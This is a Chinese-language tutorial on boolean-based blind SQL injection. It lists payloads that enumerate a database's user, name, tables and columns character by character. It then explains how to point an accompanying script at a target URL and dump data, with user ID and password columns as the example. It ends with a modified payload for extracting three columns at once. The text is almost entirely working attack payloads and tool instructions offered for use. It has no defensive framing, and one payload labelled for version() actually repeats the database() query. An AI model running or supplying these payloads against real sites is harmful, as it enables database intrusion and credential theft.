基于布尔盲注的脚本编写实例

一个基于布尔盲注的脚本编写实例

前置知识

判断user长度

-1 OR if((length(user())=14),1,0)

查user()

-1 OR if(ascii(substr(user(),1,1))=114,1,0)

查database()

-1 OR if(ascii(substr(database(),1,1))=114,1,0)

查version()

-1 OR if(ascii(substr(database(),1,1))=114,1,0)

查表的数量

-1 or (select count(table_name) from information_schema.tables where table_schema=database())>0;

查表名的长度

-1 or (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0

查表名

-1 or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97;

查列名的长度

-1 or (select length(column_name) from information_schema.columns where table_name=table_name limit 0,1)>0

查列名

-1 or ascii(substr((select column_name from information_schema.columns where table_name=table_name limit 0,1),1,1))=97;

布尔盲注工具

代码地址

布尔盲注工具

使用方法

1>第一处

1
2
3
4
#Target URL
url = "http://targetURL//index.php?a=index&f=ilist&p="
#keyword 用于判断页面是否正确
keyword ="keyword"

将代码开头的URL和keyword修改,这里要注意一下,建议存在注入的参数别写值,payload会自动补全

2>第二处:需要使用什么功能就把什么功能的代码注释取消即可,至于该改的table_name,column_name自己改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
info = Info()
#注入当前数据库的用户
#info.user()
#注入数据库的版本
#info.version()
#注入当前数据库的名字
#info.database()
#注入表名
#run()
#注入列名
run_column("shi_user")
#注入数据
#columnL = ["uid","pwd"]
#run_value("pw_user",*columnL)

3>爆列中数据的时候,列名请填写两个,在程序写死了,如果需要多个列名请修改第334行代码:

e.g.三个列

1
2
payload = "-1 or ascii(substr((select concat(%s,0x7c,%s,0x7c,%s) from %s limit %s,1),%s,1))=%s" \
% (self.column[0],self.column[1],self.column[2],self.table, self.i, x, n)